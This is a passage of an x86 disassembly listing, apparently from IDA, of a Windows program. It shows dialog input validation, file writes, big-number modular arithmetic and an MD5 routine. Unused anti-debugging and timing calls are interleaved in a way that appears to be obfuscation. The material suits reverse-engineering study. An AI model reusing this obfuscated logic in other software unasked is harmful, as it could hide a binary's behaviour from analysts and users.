mov ecx, 3
rep movsw
push 2 ; Size
push offset word_446B52 ; Src
call sub_40129C
push offset Format
push eax ; Format
lea edi, [ebp+Buffer]
push edi ; Dest
call sprintf ; sprintf
add esp, 14h
call GetProcessHeap ; GetProcessHeap
push 0FFh ; nMaxCount
lea eax, [ebp+String]
push eax ; lpString
push dword_432DC0 ; hWnd
call GetWindowTextA ; GetWindowTextA
call GetCurrentProcessId ; GetCurrentProcessId
cmp [ebp+String], 0
jnz short loc_40B79D
call IsDebuggerPresent ; IsDebuggerPresent
push 1Fh ; Size
push offset word_446B32 ; Src
call sub_40129C
add esp, 8
push 0 ; uType
push 0 ; lpCaption
push eax ; lpText
push 0 ; hWnd
call MessageBoxA ; MessageBoxA
push dword_432DC0 ; hWnd
call SetFocus ; SetFocus
call GetProcessHeap ; GetProcessHeap
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40B79D: ; CODE XREF: sub_40B3E8+37Ej
push 5 ; Size
push offset dword_446B2C ; Src
call sub_40129C
lea edi, [ebp+String]
push edi
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+Buffer]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
push 0FFh ; nMaxCount
lea eax, [ebp+String]
push eax ; lpString
push dword_41E8C4 ; hWnd
call GetWindowTextA ; GetWindowTextA
cmp [ebp+String], 0
jnz short loc_40B822
call GetTickCount ; GetTickCount
push 1Eh ; Size
push offset byte_446B0D ; Src
call sub_40129C
add esp, 8
push 0 ; uType
push 0 ; lpCaption
push eax ; lpText
push 0 ; hWnd
call MessageBoxA ; MessageBoxA
mov eax, dword_446A9B
mov [ebp+lpText], eax
push dword_41E8C4 ; hWnd
call SetFocus ; SetFocus
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40B822: ; CODE XREF: sub_40B3E8+3FDj
push 5 ; Size
push offset byte_446B07 ; Src
call sub_40129C
lea edi, [ebp+String]
push edi
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+Buffer]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
call GetVersion ; GetVersion
push 0FFh ; nMaxCount
lea eax, [ebp+String]
push eax ; lpString
push dword_41E8BC ; hWnd
call GetWindowTextA ; GetWindowTextA
lea edi, [ebp+var_11D]
lea esi, byte_446A9F
mov ecx, 3
rep movsb
cmp [ebp+String], 0
jz loc_40B9B8
mov [ebp+var_10C], 53E8h
add [ebp+var_10C], 3B86h
lea ecx, [ebp+String]
or eax, 0FFFFFFFFh
loc_40B8A5: ; CODE XREF: sub_40B3E8+4C2j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B8A5
cmp eax, 4
jb loc_40B9B8
call GetLastError
mov [ebp+var_102], 0
jmp short loc_40B8E5
; ---------------------------------------------------------------------------
loc_40B8C3: ; CODE XREF: sub_40B3E8+516j
movzx eax, [ebp+var_102]
mov al, [ebp+eax+String]
cmp al, 30h
jl short loc_40B8D9
cmp al, 39h
jle short loc_40B8DE
loc_40B8D9: ; CODE XREF: sub_40B3E8+4EBj
jmp loc_40B9B8
; ---------------------------------------------------------------------------
loc_40B8DE: ; CODE XREF: sub_40B3E8+4EFj
add [ebp+var_102], 1
loc_40B8E5: ; CODE XREF: sub_40B3E8+4D9j
lea ecx, [ebp+String]
or eax, 0FFFFFFFFh
loc_40B8EE: ; CODE XREF: sub_40B3E8+50Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B8EE
movzx esi, [ebp+var_102]
cmp esi, eax
jb short loc_40B8C3
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_101], 0
jmp loc_40B997
; ---------------------------------------------------------------------------
loc_40B911: ; CODE XREF: sub_40B3E8+5C8j
mov byte ptr [ebp+lpText+2], 0EEh
sub byte ptr [ebp+lpText+2], 96h
call GetLastError
mov al, [ebp+var_101]
mov byte ptr [ebp+lpText+3], al
jmp short loc_40B95B
; ---------------------------------------------------------------------------
loc_40B932: ; CODE XREF: sub_40B3E8+58Cj
movzx eax, byte ptr [ebp+lpText+3]
movsx eax, [ebp+eax+String]
movzx edx, [ebp+var_101]
movsx edx, [ebp+edx+String]
cmp eax, edx
jnz short loc_40B976
add byte ptr [ebp+lpText+3], 1
loc_40B95B: ; CODE XREF: sub_40B3E8+548j
lea ecx, [ebp+String]
or eax, 0FFFFFFFFh
loc_40B964: ; CODE XREF: sub_40B3E8+581j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B964
movzx esi, byte ptr [ebp+lpText+3]
cmp esi, eax
jb short loc_40B932
loc_40B976: ; CODE XREF: sub_40B3E8+56Aj
call GetCurrentProcessId ; GetCurrentProcessId
movzx eax, byte ptr [ebp+lpText+3]
movzx edx, [ebp+var_101]
sub eax, edx
cmp eax, 3
jg short loc_40B9B8
add [ebp+var_101], 1
loc_40B997: ; CODE XREF: sub_40B3E8+524j
lea ecx, [ebp+String]
or eax, 0FFFFFFFFh
loc_40B9A0: ; CODE XREF: sub_40B3E8+5BDj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B9A0
movzx esi, [ebp+var_101]
cmp esi, eax
jb loc_40B911
jmp short loc_40BA1F
; ---------------------------------------------------------------------------
loc_40B9B8: ; CODE XREF: sub_40B3E8+49Aj
; sub_40B3E8+4C7j ...
mov eax, dword_43C094
add eax, 7CBh
push eax ; Duration
call _sleep ; _sleep
call GetCurrentThreadId ; GetCurrentThreadId
push 35h ; Size
push offset byte_446AD1 ; Src
call sub_40129C
mov [ebp+lpText], eax
push 13h ; Size
push offset byte_446ABD ; Src
call sub_40129C
add esp, 14h
push 0 ; uType
push eax ; lpCaption
mov edi, [ebp+lpText]
push edi ; lpText
push 0 ; hWnd
call MessageBoxA ; MessageBoxA
call GetTickCount ; GetTickCount
push dword_41E8BC ; hWnd
call SetFocus ; SetFocus
mov eax, dword_446AA2
mov [ebp+var_121], eax
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40BA1F: ; CODE XREF: sub_40B3E8+5CEj
push 5 ; Size
push offset dword_446B2C ; Src
call sub_40129C
lea edi, [ebp+String]
push edi
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+Buffer]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
call GetCurrentProcessId ; GetCurrentProcessId
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset byte_41FA00 ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hObject], eax
lea edi, [ebp+var_124]
lea esi, word_446AA6
mov ecx, 3
rep movsb
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push [ebp+hObject] ; hFile
call SetFilePointer ; SetFilePointer
call GetTickCount ; GetTickCount
lea ecx, [ebp+Buffer]
or eax, 0FFFFFFFFh
loc_40BA9F: ; CODE XREF: sub_40B3E8+6BCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40BA9F
push 0 ; lpOverlapped
lea esi, [ebp+NumberOfBytesWritten]
push esi ; lpNumberOfBytesWritten
push eax ; nNumberOfBytesToWrite
lea edi, [ebp+Buffer]
push edi ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
mov [ebp+var_103], 87h
movzx eax, [ebp+var_103]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_103], al
push 2 ; Size
push offset word_446ABA ; Src
call sub_40129C
add esp, 8
push 0 ; lpOverlapped
lea edi, [ebp+NumberOfBytesWritten]
push edi ; lpNumberOfBytesWritten
mov edi, 14h
sub edi, dword_43C098
push edi ; nNumberOfBytesToWrite
push eax ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
mov ax, word_446AA9
mov [ebp+var_126], ax
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
call GetCurrentThreadId ; GetCurrentThreadId
push hWndParent ; hWnd
call DestroyWindow ; DestroyWindow
call IsDebuggerPresent ; IsDebuggerPresent
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset FileName ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hObject], eax
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push [ebp+hObject] ; hFile
call SetFilePointer ; SetFilePointer
call GetVersion ; GetVersion
lea ecx, Format
or eax, 0FFFFFFFFh
loc_40BB77: ; CODE XREF: sub_40B3E8+794j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40BB77
mov edi, eax
push 0 ; lpOverlapped
lea esi, [ebp+NumberOfBytesWritten]
push esi ; lpNumberOfBytesWritten
push edi ; nNumberOfBytesToWrite
push offset Format ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
lea edi, [ebp+var_12B]
lea esi, byte_446AAB
mov ecx, 5
rep movsb
push 1 ; Size
push offset byte_446AB8 ; Src
call sub_40129C
add esp, 8
push 0 ; lpOverlapped
lea edi, [ebp+NumberOfBytesWritten]
push edi ; lpNumberOfBytesWritten
mov edi, 13h
sub edi, dword_43C098
push edi ; nNumberOfBytesToWrite
push eax ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
push 5 ; nCmdShow
push hWnd ; hWnd
call ShowWindow ; ShowWindow
lea edi, [ebp+var_130]
lea esi, dword_446AB0
mov ecx, 5
rep movsb
jmp short loc_40BC22
; ---------------------------------------------------------------------------
loc_40BC0A: ; CODE XREF: sub_40B3E8+2Bj
; sub_40B3E8+47j ...
push [ebp+lParam] ; lParam
push [ebp+wParam] ; wParam
push [ebp+Msg] ; Msg
push [ebp+arg_0] ; hWnd
call DefWindowProcA ; DefWindowProcA
jmp short loc_40BC22
; ---------------------------------------------------------------------------
call GetTickCount ; GetTickCount
loc_40BC22: ; CODE XREF: sub_40B3E8+19Aj
; sub_40B3E8+1E1j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_40B3E8 endp
; ---------------------------------------------------------------------------
align 4
; [00000006 BYTES: COLLAPSED FUNCTION SysAllocString. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION FindFirstUrlCacheEntryA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION FindNextUrlCacheEntryA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CoCreateInstance. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CLSIDFromString. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION CoInitialize. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CoUninitialize. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC80 proc near ; CODE XREF: sub_408741+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
cld
mov edi, [ebp+arg_4]
mov eax, 1
stosd
mov ecx, 0Fh
dec eax
rep stosd
lea edi, dword_447B7C
mov esi, [ebp+arg_0]
mov ecx, 10h
rep movsd
mov edi, [ebp+arg_8]
call sub_40BD4B
xor edx, edx
loc_40BCB0: ; CODE XREF: sub_40BC80+52j
push edx
push ebx
mov eax, [ebp+arg_8]
bt [eax], edx
jnb short loc_40BCC2
mov edx, [ebp+arg_4]
call sub_40BCDC
loc_40BCC2: ; CODE XREF: sub_40BC80+38j
lea edx, dword_447B7C
call sub_40BCDC
pop ebx
pop edx
inc edx
cmp edx, ebx
jbe short loc_40BCB0
popa
pop ebp
retn 10h
sub_40BC80 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40BCDC proc near ; CODE XREF: sub_40BC80+3Dp
; sub_40BC80+48p
lea edi, dword_447B3C
mov ecx, 10h
xor eax, eax
rep stosd
lea edi, dword_447B7C
call sub_40BD4B
loc_40BCF6: ; CODE XREF: sub_40BCDC+5Dj
lea edi, dword_447B3C
mov ecx, 10h
xor eax, eax
loc_40BD03: ; CODE XREF: sub_40BCDC+2Cj
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_40BD03
call sub_40BD5C
bt dword_447B7C, ebx
jnb short loc_40BD38
mov esi, edx
lea edi, dword_447B3C
xor eax, eax
mov ecx, 10h
loc_40BD27: ; CODE XREF: sub_40BCDC+55j
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_40BD27
call sub_40BD5C
loc_40BD38: ; CODE XREF: sub_40BCDC+3Aj
dec ebx
jns short loc_40BCF6
mov edi, edx
lea esi, dword_447B3C
mov ecx, 10h
rep movsd
retn
sub_40BCDC endp
; =============== S U B R O U T I N E =======================================
sub_40BD4B proc near ; CODE XREF: sub_40BC80+29p
; sub_40BCDC+15p
mov ebx, 1FFh
loc_40BD50: ; CODE XREF: sub_40BD4B+Bj
bt [edi], ebx
jb short locret_40BD58
dec ebx
jnz short loc_40BD50
locret_40BD58: ; CODE XREF: sub_40BD4B+8j
retn
sub_40BD4B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40BD5C proc near ; CODE XREF: sub_40BCDC+2Ep
; sub_40BCDC+57p
lea esi, dword_447B3C
mov edi, [ebp+14h]
mov ecx, 0Fh
loc_40BD6A: ; CODE XREF: sub_40BD5C+19j
mov eax, [esi+ecx*4]
cmp eax, [edi+ecx*4]
jb short locret_40BD93
ja short loc_40BD77
dec ecx
jns short loc_40BD6A
loc_40BD77: ; CODE XREF: sub_40BD5C+16j
mov esi, [ebp+14h]
lea edi, dword_447B3C
xor eax, eax
mov ecx, 10h
loc_40BD87: ; CODE XREF: sub_40BD5C+35j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_40BD87
locret_40BD93: ; CODE XREF: sub_40BD5C+14j
retn
sub_40BD5C endp
; =============== S U B R O U T I N E =======================================
sub_40BD94 proc near ; CODE XREF: sub_40BDE5+32p
; sub_40BDE5+50p ...
mov eax, ebx
and eax, ecx
push ebx
not ebx
and ebx, edx
or eax, ebx
pop ebx
retn
sub_40BD94 endp
; =============== S U B R O U T I N E =======================================
sub_40BDA1 proc near ; CODE XREF: sub_40BDE5+219p
; sub_40BDE5+238p ...
mov eax, ebx
and eax, edx
push edx
not edx
and edx, ecx
or eax, edx
pop edx
retn
sub_40BDA1 endp
; =============== S U B R O U T I N E =======================================
sub_40BDAE proc near ; CODE XREF: sub_40BDE5+420p
; sub_40BDE5+43Fp ...
mov eax, ebx
xor eax, ecx
xor eax, edx
retn
sub_40BDAE endp
; =============== S U B R O U T I N E =======================================
sub_40BDB5 proc near ; CODE XREF: sub_40BDE5+627p
; sub_40BDE5+645p ...
mov eax, edx
not eax
or eax, ebx
xor eax, ecx
retn
sub_40BDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BDBE proc near ; CODE XREF: sub_408779+A8p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov dword ptr [edi], 67452301h
mov dword ptr [edi+4], 0EFCDAB89h
mov dword ptr [edi+8], 98BADCFEh
mov dword ptr [edi+0Ch], 10325476h
popa
pop ebp
retn 4
sub_40BDBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BDE5 proc near ; CODE XREF: sub_408779+C5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [edi]
mov dword_447BBC, eax
mov eax, [edi+4]
mov dword_447BC0, eax
mov eax, [edi+8]
mov dword_447BC4, eax
mov eax, [edi+0Ch]
mov dword_447BC8, eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BD94
add eax, [edi]
add eax, [esi]
add eax, 0D76AA478h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BD94
add eax, [edi+0Ch]
add eax, [esi+4]
add eax, 0E8C7B756h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BD94
add eax, [edi+8]
add eax, [esi+8]
add eax, 242070DBh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BD94
add eax, [edi+4]
add eax, [esi+0Ch]
add eax, 0C1BDCEEEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BD94
add eax, [edi]
add eax, [esi+10h]
add eax, 0F57C0FAFh
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BD94
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A8304613h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BD94
add eax, [edi+4]
add eax, [esi+1Ch]
add eax, 0FD469501h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BD94
add eax, [edi]
add eax, [esi+20h]
add eax, 698098D8h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BD94
add eax, [edi+0Ch]
add eax, [esi+24h]
add eax, 8B44F7AFh
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BD94
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFFF5BB1h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BD94
add eax, [edi+4]
add eax, [esi+2Ch]
add eax, 895CD7BEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BD94
add eax, [edi]
add eax, [esi+30h]
add eax, 6B901122h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BD94
add eax, [edi+0Ch]
add eax, [esi+34h]
add eax, 0FD987193h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BD94
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0A679438Eh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BD94
add eax, [edi+4]
add eax, [esi+3Ch]
add eax, 49B40821h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDA1
add eax, [edi]
add eax, [esi+4]
add eax, 0F61E2562h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDA1
add eax, [edi+0Ch]
add eax, [esi+18h]
add eax, 0C040B340h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDA1
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 265E5A51h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDA1
add eax, [edi+4]
add eax, [esi]
add eax, 0E9B6C7AAh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDA1
add eax, [edi]
add eax, [esi+14h]
add eax, 0D62F105Dh
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDA1
add eax, [edi+0Ch]
add eax, [esi+28h]
add eax, 2441453h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDA1
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 0D8A1E681h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDA1
add eax, [edi+4]
add eax, [esi+10h]
add eax, 0E7D3FBC8h
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDA1
add eax, [edi]
add eax, [esi+24h]
add eax, 21E1CDE6h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDA1
add eax, [edi+0Ch]
add eax, [esi+38h]
add eax, 0C33707D6h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDA1
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0F4D50D87h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDA1
add eax, [edi+4]
add eax, [esi+20h]
add eax, 455A14EDh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDA1
add eax, [edi]
add eax, [esi+34h]
add eax, 0A9E3E905h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDA1
add eax, [edi+0Ch]
add eax, [esi+8]
add eax, 0FCEFA3F8h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDA1
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 676F02D9h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDA1
add eax, [edi+4]
add eax, [esi+30h]
add eax, 8D2A4C8Ah
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDAE
add eax, [edi]
add eax, [esi+14h]
add eax, 0FFFA3942h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDAE
add eax, [edi+0Ch]
add eax, [esi+20h]
add eax, 8771F681h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDAE
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 6D9D6122h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDAE
add eax, [edi+4]
add eax, [esi+38h]
add eax, 0FDE5380Ch
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDAE
add eax, [edi]
add eax, [esi+4]
add eax, 0A4BEEA44h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDAE
add eax, [edi+0Ch]
add eax, [esi+10h]
add eax, 4BDECFA9h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDAE
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 0F6BB4B60h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDAE
add eax, [edi+4]
add eax, [esi+28h]
add eax, 0BEBFBC70h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDAE
add eax, [edi]
add eax, [esi+34h]
add eax, 289B7EC6h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDAE
add eax, [edi+0Ch]
add eax, [esi]
add eax, 0EAA127FAh
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDAE
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0D4EF3085h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDAE
add eax, [edi+4]
add eax, [esi+18h]
add eax, 4881D05h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDAE
add eax, [edi]
add eax, [esi+24h]
add eax, 0D9D4D039h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDAE
add eax, [edi+0Ch]
add eax, [esi+30h]
add eax, 0E6DB99E5h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDAE
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 1FA27CF8h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDAE
add eax, [edi+4]
add eax, [esi+8]
add eax, 0C4AC5665h
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDB5
add eax, [edi]
add eax, [esi]
add eax, 0F4292244h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDB5
add eax, [edi+0Ch]
add eax, [esi+1Ch]
add eax, 432AFF97h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDB5
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0AB9423A7h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDB5
add eax, [edi+4]
add eax, [esi+14h]
add eax, 0FC93A039h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDB5
add eax, [edi]
add eax, [esi+30h]
add eax, 655B59C3h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDB5
add eax, [edi+0Ch]
add eax, [esi+0Ch]
add eax, 8F0CCC92h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDB5
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFEFF47Dh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDB5
add eax, [edi+4]
add eax, [esi+4]
add eax, 85845DD1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDB5
add eax, [edi]
add eax, [esi+20h]
add eax, 6FA87E4Fh
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDB5
add eax, [edi+0Ch]
add eax, [esi+3Ch]
add eax, 0FE2CE6E0h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDB5
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A3014314h
rol eax, 0Fh
add eax, [edi+0Ch]
